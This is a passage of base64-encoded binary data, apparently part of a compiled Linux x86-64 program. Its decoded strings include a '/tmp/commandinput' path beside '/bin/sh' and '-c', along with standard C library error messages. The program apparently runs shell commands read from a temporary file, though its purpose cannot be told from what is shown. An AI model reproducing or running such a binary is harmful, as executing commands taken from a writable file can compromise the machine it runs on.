sHqAh1LEiLR1hIi09gZg/vwA8RRwhIAcFmSA9uyEiJRzgxwGZID27BZg9swQ8RRyDDg8ggiQe4/////8PpFQUAAEFWQVVJifVBVEmJ1FVIif1TSItCIEiFwHQ7SYt8JChIKfhMOehyQUGLhCSQAAAATInrhcB5TU2J7kyJ8kiJ7ugWxv//TQF0JChMiehbXUFcQV1BXsNIidfoUP///4XAdVVJi0QkIOuyW0mLRCRITInqSInuTInnXUFcQV1BXv/gSInDSIXbdK6AfB3/CkiNQ/917UiJ2kiJ7kyJ50H/VCRISDnYcqZNie5Ji3wkKEgB3Ukp3uuDMcDrkkFXMcBBVkmJ9kFVTA+v8kmJ/UFUSYnMVUiJ9VNIg+wISIX2SA9FwkiJw4uBjAAAAIXAeTBIicpMifboB////0mJxU057nQLTInoMdJI9/VIicNIg8QISInYW11BXEFdQV5BX8NIic/o/Pz//0yJ70yJ4kyJ9kGJx+jJ/v//SYnFRYX/dL1MiefohP3//+uzSIn5QA+29usISIPBAUiD6gH2wQd0EkiF0g+ErAAAAA+2ATnwdePrCUiF0g+EmgAAAA+2ATnwdDZIuAEBAQEBAQEBTGPOU0yNFBFIu//+/v7+/v7+TA+vyEiJ0Em7gICAgICAgIBIg+D4SAHI6wlIicjrS0iDwQhMidJIKcpIOcF0IkiLOUwxz0yNBB9I99dMIcdMhd903EiJyOsISIPAAUiD6gFIhdJ0CQ+2CDnxdexbwzHA6/pIg8ABSIPqAUiF0nQID7YIOfF17MMxwMO4FgAAAIP/AncaZEiLFCUAAAAASIX2dAYPtkJAiQZAiHpAMcDDMcCwOEmJ+0iJ10yJwk2JyEyLVCQITYnZSIPm8EiD7ghIiQ4PBYXAdQ8x7V9B/9GJxzHAsDwPBfTDSIPsCOhcxP//ifjDSIPsCOh//P//SIPsCEUxyUUxwGoAMckx0khj8L8DAAAA6Lzy//9aMdJZg/j8D0TCSGP46DbI//9Ig8QIw1VIif1TSIPsCIX2dFGJ87glAQAASGP2DwWD+Np1S/fD//f3/3VY6BHE//9BicCFwHVCSGN9APfDAAAIAHVRQblIAAAAvgQAAAC6AAgAAEyJyA8FSGN9BEyJyA8F6xZIg8QIW13p08P//0hj+OjAx///QYnASIPECESJwFtdw0jHx+r////op8f//0GJwOvlQblIAAAAvgIAAAC6AQAAAEyJyA8FSGN9BEyJyA8FgOcIdMJIY30A64ZIg+wQSInwSInRSGP3agAx/0UxyUUxwEiJwujO8f//SIPEGEiJx+lOx///SIX/D4T9AAAASIn6ifCD/n8PhuwAAABIg+wIZEiLDCUAAAAASIuJqAAAAEiDOQB0QIH+/wcAAHZPjY4AIP//gfn/HwAAdluB/v/XAAB2U42OAAD//4H5//8PAHZt6ADy///HAFQAAABIx8D/////6xKNjoAg//+D+X934YgCuAEAAABIg8QIw4nxg+A/wfkGg8iAg8nAiEcBuAIAAACID+vhicHB+QyDyeCIConBg+A/wfkGg8iAg+E/iEICuAMAAACDyYCISgHruYnHg+A/ifHB/gzB/wbB4AiD5j+D5z/B+RIJ+A+2ycHgCAnwizUGFQAAweAICcgJ8IkCuAQAAADrgECIMrgBAAAAw0iD7Ai4OwAAAA8FSInH6C/G//9Ig8QIw0iF/3RKU4uHjAAAAEiJ+4XAeTNIi0M4SDlDKHQKMdIx9kiJ3/9TSEiLcwhIi0MQSDnGdBlIKcZIid9Ii0NQugEAAABb/+DoEvn//+vGW8PDU+hdAQAASIsY6wxIid/onf///0iLW3BIhdt170iLPfo3AADoiP///0iLPQ4yAADofP///0iLPeI3AABb6W////9BV0mJ/0FWQVVBVEG8FAAAAFW9AgAAAFO7AgAAAEiD7EhMi3coSIlUJAhMjWwkEGRIiwQlKAAAAEiJRCQ4SItHOEiJdCQgSIlUJChJKcZIiUQkEEyJdCQYSQHW63xJi0dYSYtPYEgBwWZID27ISYlHOEiLRCQIZkgPbsFmD2zBQQ8RRyBIi1QkOGRIKxQlKAAAAA+FhQAAAEiDxEhbXUFcQV1BXkFfw2YP78BBgw8gMcBJx0c4AAAAAEEPEUcgg/0CdMFIi0QkCEkrRQjrtkgpwkkBRQBJiVUISWN/eEyJ4EyJ7kiJ2g8FSInH6KnE//9JOcYPhGT///9IhcB4qUmLVQhJKcZIOcJzxIPtAUgp0EmDxRBJi1UISGPd67HocsD//0iD7AhIjT23NgAA6M3t//9IjQWzNgAASIPECMNIjT2fNgAA6W7u//9Ig+wIuBYAAAAPBUiJx+g8xP//SIPECMNQWMMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC90bXAvY29tbWFuZGlucHV0AC1jAC9iaW4vc2gALTBYKzBYIDBYLTB4KzB4IDB4AElORgBOQU4AbmFuAGluZgAuAC0rICAgMFgweAAobnVsbCkAANS8///pu///ELz//9S8///UvP//1Lz//za8//9evP//hbz//628///UvP//1Lz//9S8///UvP//1Lz//9S8///7vP//Jb3//5bY///d2P//Ntf//93Y//+W2P//ltj//5bY///d2P//3dj//93Y///d2P//3dj//93Y///d2P//3dj//93Y///d2P//3dj//9zS///d2P//3dj//93Y///d2P//s9L//93Y///d2P//3dj//93Y///d2P//3dj//93Y///d2P//ltj//93Y//+p0v//g9T//5bY//+W2P//ltj//93Y//+D1P//3dj//93Y///d2P//gdb//07T//8b1P//n9P//93Y///d2P//8db//93Y//8K1f//3dj//93Y//+z0v//h9L//6/S//+v0v//lNL//6LS//+C0f//r9L//6/S//8AAAAAMDEyMzQ1Njc4OUFCQ0RFRgAAAAAAAAAAAAAAAAAAAAAZAAsAGRkZAAAAAAUAAAAAAAAJAAAAAAsAAAAAAAAAABkACgoZGRkDCgcAARsJCxgAAAkGCwAACwAGGQAAABkZGQAAAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAZAAsNGRkZAA0AAAIACQ4AAAAJAA4AAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAAAAAAAAAAAAEwAAAAATAAAAAAkMAAAAAAAMAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAA8AAAAEDwAAAAAJEAAAAAAAEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAARAAAAABEAAAAACRIAAAAAABIAABIAABoAAAAaGhoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgAAABoaGgAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAAAAAAAAAAAABcAAAAAFwAAAAAJFAAAAAAAFAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAAAAAAAAAAAAAAVAAAAABUAAAAACRYAAAAAABYAABYAAAAAAEEAAIBfAAAAPwAAwD8AAIBBAACATShrbk4AAIB78ICAgAAAAAAAAAAAAAAAAAEAAAAAAACAP0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABtAIUAnwANAQsCFQKlAoICHQMxAyUB8QBbAEIDLwL/AK8AUwFFAlQCZAKUAuEC/wJRAHMCTgPZAEYBZQFdA/8BKwA4AH8DzwJsA9oDewG8AgAA8wMOBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIQQ1BEcEVgQAAAAAAABvBAAAAAAAAIUECwcAAJQEuwAAAKAEAAAAAAAAAAAAAAAAFQAAAAAAAAC9BMoE5wT5BBgFLwVGBWAFbgWMBfABtQXLBdsF7wULBo8BHgY4BkwGYQYAAKgBvAHPAdwBgwahBrcGAAAAAAAAAADJBtoG6Qb5BscDHgc5B0kHXgezA50DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATm8gZXJyb3IgaW5mb3JtYXRpb24ASWxsZWdhbCBieXRlIHNlcXVlbmNlAERvbWFpbiBlcnJvcgBSZXN1bHQgbm90IHJlcHJlc2VudGFibGUATm90IGEgdHR5AFBlcm1pc3Npb24gZGVuaWVkAE9wZXJhdGlvbiBub3QgcGVybWl0dGVkAE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkATm8gc3VjaCBwcm9jZXNzAEZpbGUgZXhpc3RzAFZhbHVlIHRvbyBsYXJnZSBmb3IgZGF0YSB0eXBlAE5vIHNwYWNlIGxlZnQgb24gZGV2aWNlAE91dCBvZiBtZW1vcnkAUmVzb3VyY2UgYnVzeQBJbnRlcnJ1cHRlZCBzeXN0ZW0gY2FsbABSZXNvdXJjZSB0ZW1wb3JhcmlseSB1bmF2YWlsYWJsZQBJbnZhbGlkIHNlZWsAQ3Jvc3MtZGV2aWNlIGxpbmsAUmVhZC1vbmx5IGZpbGUgc3lzdGVtAERpcmVjdG9yeSBub3QgZW1wdHkAQ29ubmVjdGlvbiByZXNldCBieSBwZWVyAE9wZXJhdGlvbiB0aW1lZCBvdXQAQ29ubmVjdGlvbiByZWZ1c2VkAEhvc3QgaXMgZG93bgBIb3N0IGlzIHVucmVhY2hhYmxlAEFkZHJlc3MgaW4gdXNlAEJyb2tlbiBwaXBlAEkvTyBlcnJvcgBObyBzdWNoIGRldmljZSBvciBhZGRyZXNzAEJsb2NrIGRldmljZSByZXF1aXJlZABObyBzdWNoIGRldmljZQBOb3QgYSBkaXJlY3RvcnkASXMgYSBkaXJlY3RvcnkAVGV4dCBmaWxlIGJ1c3kARXhlYyBmb3JtYXQgZXJyb3IASW52YWxpZCBhcmd1bWVudABBcmd1bWVudCBsaXN0IHRvbyBsb25nAFN5bWJvbGljIGxpbmsgbG9vcABGaWxlbmFtZSB0b28gbG9uZwBUb28gbWFueSBvcGVuIGZpbGVzIGluIHN5c3RlbQBObyBmaWxlIGRlc2NyaXB0b3JzIGF2YWlsYWJsZQBCYWQgZmlsZSBkZXNjcmlwdG9yAE5vIGNoaWxkIHByb2Nlc3MAQmFkIGFkZHJlc3MARmlsZSB0b28gbGFyZ2UAVG9vIG1hbnkgbGlua3MATm8gbG9ja3MgYXZhaWxhYmxlAFJlc291cmNlIGRlYWRsb2NrIHdvdWxkIG9jY3VyAFN0YXRlIG5vdCByZWNvdmVyYWJsZQBQcmV2aW91cyBvd25lciBkaWVkAE9wZXJhdGlvbiBjYW5jZWxlZABGdW5jdGlvbiBub3QgaW1wbGVtZW50ZWQATm8gbWVzc2FnZSBvZiBkZXNpcmVkIHR5cGUASWRlbnRpZmllciByZW1vdmVkAERldmljZSBub3QgYSBzdHJlYW0ATm8gZGF0YSBhdmFpbGFibGUARGV2aWNlIHRpbWVvdXQAT3V0IG9mIHN0cmVhbXMgcmVzb3VyY2VzAExpbmsgaGFzIGJlZW4gc2V2ZXJlZABQcm90b2NvbCBlcnJvcgBCYWQgbWVzc2FnZQBGaWxlIGRlc2NyaXB0b3IgaW4gYmFkIHN0YXRlAE5vdCBhIHNvY2tldABEZXN0aW5hdGlvbiBhZGRyZXNzIHJlcXVpcmVkAE1lc3NhZ2UgdG9vIGxhcmdlAFByb3RvY29sIHdyb25nIHR5cGUgZm9yIHNvY2tldABQcm90b2NvbCBub3QgYXZhaWxhYmxlAFByb3RvY29sIG5vdCBzdXBwb3J0ZWQAU29ja2V0IHR5cGUgbm90IHN1cHBvcnRlZABOb3Qgc3VwcG9ydGVkAFByb3RvY29sIGZhbWlseSBub3Qgc3VwcG9ydGVkAEFkZHJlc3MgZmFtaWx5IG5vdCBzdXBwb3J0ZWQgYnkgcHJvdG9jb2wAQWRkcmVzcyBub3QgYXZhaWxhYmxlAE5ldHdvcmsgaXMgZG93bgBOZXR3b3JrIHVucmVhY2hhYmxlAENvbm5lY3Rpb24gcmVzZXQgYnkgbmV0d29yawBDb25uZWN0aW9uIGFib3J0ZWQATm8gYnVmZmVyIHNwYWNlIGF2YWlsYWJsZQBTb2NrZXQgaXMgY29ubmVjdGVkAFNvY2tldCBub3QgY29ubmVjdGVkAENhbm5vdCBzZW5kIGFmdGVyIHNvY2tldCBzaHV0ZG93bgBPcGVyYXRpb24gYWxyZWFkeSBpbiBwcm9ncmVzcwBPcGVyYXRpb24gaW4gcHJvZ3Jlc3MAU3RhbGUgZmlsZSBoYW5kbGUAUmVtb3RlIEkvTyBlcnJvcgBRdW90YSBleGNlZWRlZABObyBtZWRpdW0gZm91bmQAV3JvbmcgbWVkaXVtIHR5cGUATXVsdGlob3AgYXR0ZW1wdGVkAFJlcXVpcmVkIGtleSBub3QgYXZhaWxhYmxlAEtleSBoYXMgZXhwaXJlZABLZXkgaGFzIGJlZW4gcmV2b2tlZABLZXkgd2FzIHJlamVjdGVkIGJ5IHNlcnZpY2UAAAAV1///DNf//zzX//+j1///7Nf//w/Y//8AAAAA////f/z//////////////xQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAASKP//6ACAAAADhBGDhhKDwt3CIAAPxo7KjMkIgAAAAAYAAAARAAAAKmm//+LAAAAAEEOEIYCQw0GAAAAAAAAAAQAAAAgAAAABQAAAEdOVQABAAHABAAAAAsAAAAAAAAAAgABwAQAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkCMAAAAAAACZIwAAAAAAAEAjAAAAAAAAgJEAAAAAAABQlwAAAAAAAAwAAAAAAAAAACAAAAAAAAANAAAAAAAAAM5gAAAAAAAAGQAAAAAAAAAAjgAAAAAAABsAAAAAAAAAEAAAAAAAAAAaAAAAAAAAABCOAAAAAAAAHAAAAAAAAAAIAAAAAAAAAAQAAAAAAAAAOAIAAAAAAAD1/v9vAAAAAMgDAAAAAAAABQAAAAAAAABICwAAAAAAAAYAAAAAAAAAkAUAAAAAAAAKAAAAAAAAAKoCAAAAAAAACwAAAAAAAAAYAAAAAAAAAAMAAAAAAAAA6I8AAAAAAAACAAAAAAAAANgDAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAkA8AAAAAAAAHAAAAAAAAAPgNAAAAAAAACAAAAAAAAACYAQAAAAAAAAkAAAAAAAAAGAAAAAAAAAD5//9vAAAAAAsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAojgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmIAAAAAAAADYgAAAAAAAARiAAAAAAAABWIAAAAAAAAGYgAAAAAAAAdiAAAAAAAACGIAAAAAAAAJYgAAAAAAAApiAAAAAAAAC2IAAAAAAAAMYgAAAAAAAA1iAAAAAAAADmIAAAAAAAAPYgAAAAAAAABiEAAAAAAAAWIQAAAAAAACYhAAAAAAAANiEAAAAAAABGIQAAAAAAAFYhAAAAAAAAZiEAAAAAAAB2IQAAAAAAAIYhAAAAAAAAliEAAAAAAACmIQAAAAAAALYhAAAAAAAAxiEAAAAAAADWIQAAAAAAAOYhAAAAAAAA9iEAAAAAAAAGIgAAAAAAABYiAAAAAAAAJiIAAAAAAAA2IgAAAAAAAEYiAAAAAAAAViIAAAAAAABmIgAAAAAAAHYiAAAAAAAAhiIAAAAAAACWIgAAAAAAAKYiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYJEAAAAAAACAkQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABNWQAAAAAAAEVZAAAAAAAAqJIAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAP////8KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAR0NDOiAoR05VKSAxNC4xLjEgMjAyNDA1MjIAR0NDOiAoR05VKSAxMy4yLjEgMjAyMzA4MDEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AQAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAAAgAJACQkAAAAAAAAAQAAAAAAAADlAwAAAgAJACUkAAAAAAAAMAAAAAAAAAAHAAAABADx/wAAAAAAAAAAAAAAAAAAAAAjBQAAAgAJAJkjAAAAAAAAiwAAAAAAAAANAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAAAgAJADUlAAAAAAAAAQAAAAAAAAAVAAAABADx/wAAAAAAAAAAAAAAAAAAAAD/AgAAAQAVAIiSAAAAAAAACAAAAAAAAAAiAAAAAQAVAJCSAAAAAAAABAAAAAAAAAAuAAAABADx/wAAAAAAAAAAAAAAAAAAAAA4AAAAAQAVAKCSAAAAAAAACAQAAAAAAAA8AAAABADx/wAAAAAAAAAAAAAAAAAAAABIAAAAAgAJAB4sAAAAAAAAdAEAAAAAAABQAAAAAgAJAJItAAAAAAAAsgAAAAAAAABbAAAAAgAJAEQuAAAAAAAAIhAAAAAAAABiAAAAAQALAKBxAAAAAAAAEAAAAAAAAABqAAAAAgAJAGY+AAAAAAAAJQ0AAAAAAAB2AAAAAQALAMBxAAAAAAAA0AEAAAAAAAB9AAAABADx/wAAAAAAAAAAAAAAAAAAAACNAAAAAgAJAF9PAAAAAAAAGgAAAAAAAACSAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAAAgAJALRPAAAAAAAAAQAAAAAAAACoAAAABADx/wAAAAAAAAAAAAAAAAAAAAC0AAAAAQALAAB1AAAAAAAAegcAAAAAAAC+AAAAAQALAOBzAAAAAAAACAEAAAAAAADIAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAAAgAJAH5QAAAAAAAABAAAAAAAAADVAAAABADx/wAAAAAAAAAAAAAAAAAAAADfAAAAAgAJAPpQAAAAAAAAhQAAAAAAAADxAAAABADx/wAAAAAAAAAAAAAAAAAAAAAAAQAAAgAJAJdRAAAAAAAAlQMAAAAAAAAGAQAABADx/wAAAAAAAAAAAAAAAAAAAAAPAQAAAQALAKB8AAAAAAAACAAAAAAAAAAYAQAAAQALAJh8AAAAAAAACAAAAAAAAAAhAQAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAAAgAJAB9ZAAAAAAAAAwAAAAAAAAApAQAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAAAgAJAJRcAAAAAAAAAwAAAAAAAAAyAQAABADx/wAAAAAAAAAAAAAAAAAAAABCAQAAAgAJANteAAAAAAAAUAAAAAAAAABNAQAAAQAVAEiXAAAAAAAACAAAAAAAAABYAQAABADx/wAAAAAAAAAAAAAAAAAAAAA4AgAAAQAVAFCXAAAAAAAABAAAAAAAAABfAQAAAQAVAFiXAAAAAAAACAAAAAAAAAAAAAAABADx/wAAAAAAAAAAAAAAAAAAAABoAQAAAgAJABdQAAAAAAAAAgAAAAAAAAB/AQAAAgAJAH0oAAAAAAAArgEAAAAAAACQAQAAAQAUAGiRAAAAAAAACAAAAAAAAACeAQAAAgAJAIdQAAAAAAAAGQAAAAAAAACsAQAAA